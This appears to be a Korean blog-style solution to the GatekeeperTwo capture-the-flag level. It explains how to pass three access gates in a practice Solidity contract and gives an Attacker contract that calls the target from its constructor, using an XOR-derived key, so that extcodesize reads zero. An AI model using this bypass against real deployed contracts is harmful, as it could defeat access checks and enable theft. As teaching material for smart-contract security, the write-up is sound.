// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
gatekeeper2이다.
이번에도 3개의 modifier가 있다.
첫 번째는 msg.sender != tx.orgin
두 번째는 extcodesize(caller()) == 0
세 번째는 uint64(bytes8(keccak256(abi.encodePacked(msg.sender))) ^ uint64(_gateKey) == type(uint64).max이다.
type(uint64).max는 8byte의 최대 크기이다. 그래서 0xffffffffffffffff이다.
msg.sender는 0xbF0C598Efc0Ce31eB2f8A73e229f4556B7582e6A 내 지갑주소이다.
그리고 gateKey랑 XOR을 한 결과가 0xffffffffffffffff와 같아야 한다. 그러면 0xffffffffffffffff에 encodePacked(msg.sender)를 하면 gateKey가 나온다.
a = uint64(bytes8(keccak256(abi.encodePacked(msg.sender))) = 0x488f78c93f0f4309
b = type(uint64).max = 0xffffffffffffffff
a ^ b = 0xb7708736c0f0bcf6결과가 나온다.
그리고 두 번째를 보면 extcodesize(caller())가 있는 데 extcodesize는 초기화하는 동안 계정의 코드의 길이를 반환하는 데
이 말은 초기화할 때 runtime opcode의 길이를 나타낸다는 말이다. Initialization opcode에서는 constructor()까지 실행하기 때문에 우리가 작성한 payload를 constructor에 집어넣으면 extcodesize는 0이 된다.
contract Attacker{
GatekeeperTwo gatetwo;
bytes8 gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ 0xFFFFFFFFFFFFFFFF);
constructor(address _address) public {
gatetwo = GatekeeperTwo(_address);
gatetwo.enter(gateKey);
}
}
constructor() 안에 집어넣고 deploy 하면 정상적으로 실행된다.